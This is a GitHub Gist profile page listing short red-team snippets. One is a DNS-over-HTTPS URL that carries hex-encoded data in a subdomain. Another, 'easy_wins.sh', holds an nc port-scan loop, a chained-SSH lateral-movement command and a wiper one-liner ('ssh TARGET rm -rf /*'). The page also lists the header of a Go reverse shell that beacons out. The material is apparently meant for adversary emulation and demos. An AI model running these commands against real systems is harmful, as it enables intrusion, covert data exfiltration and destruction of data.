Skip to content

Instantly share code, notes, and snippets.

View magisterquis's full-sized avatar

Stuart magisterquis

View GitHub Profile
@magisterquis
magisterquis / quickdohtest.sh
Created October 26, 2018 21:09
Quick DNS over HTTPS test
https://dns.google.com/resolve?type=A&name=5468697320697320612074657374.example.com
@magisterquis
magisterquis / easy_wins.sh
Created October 26, 2018 19:31
Easy Emulation Wins
#Port Scanning
for p in `jot 65535`; do
nc -vz TARGET $p
done 2>&1 | tee portscan.out
#Lateral Movement
ssh -J REDIR1,REDIR2,REDIR3,REDIR4 user@TARGET
#Wiper
ssh TARGET rm -rf /*
@magisterquis
magisterquis / demoshell.go
Last active December 30, 2024 23:16
Beaconing shell, useful for demos. Catch it with netcat.
// demoshell is a nifty beaconing shell useful for demos
package main
/*
* demoshell.go
* Simple reverse shell used in demos
* By J. Stuart McMurray
* Created 20180331
* Last Modified 20180331
*/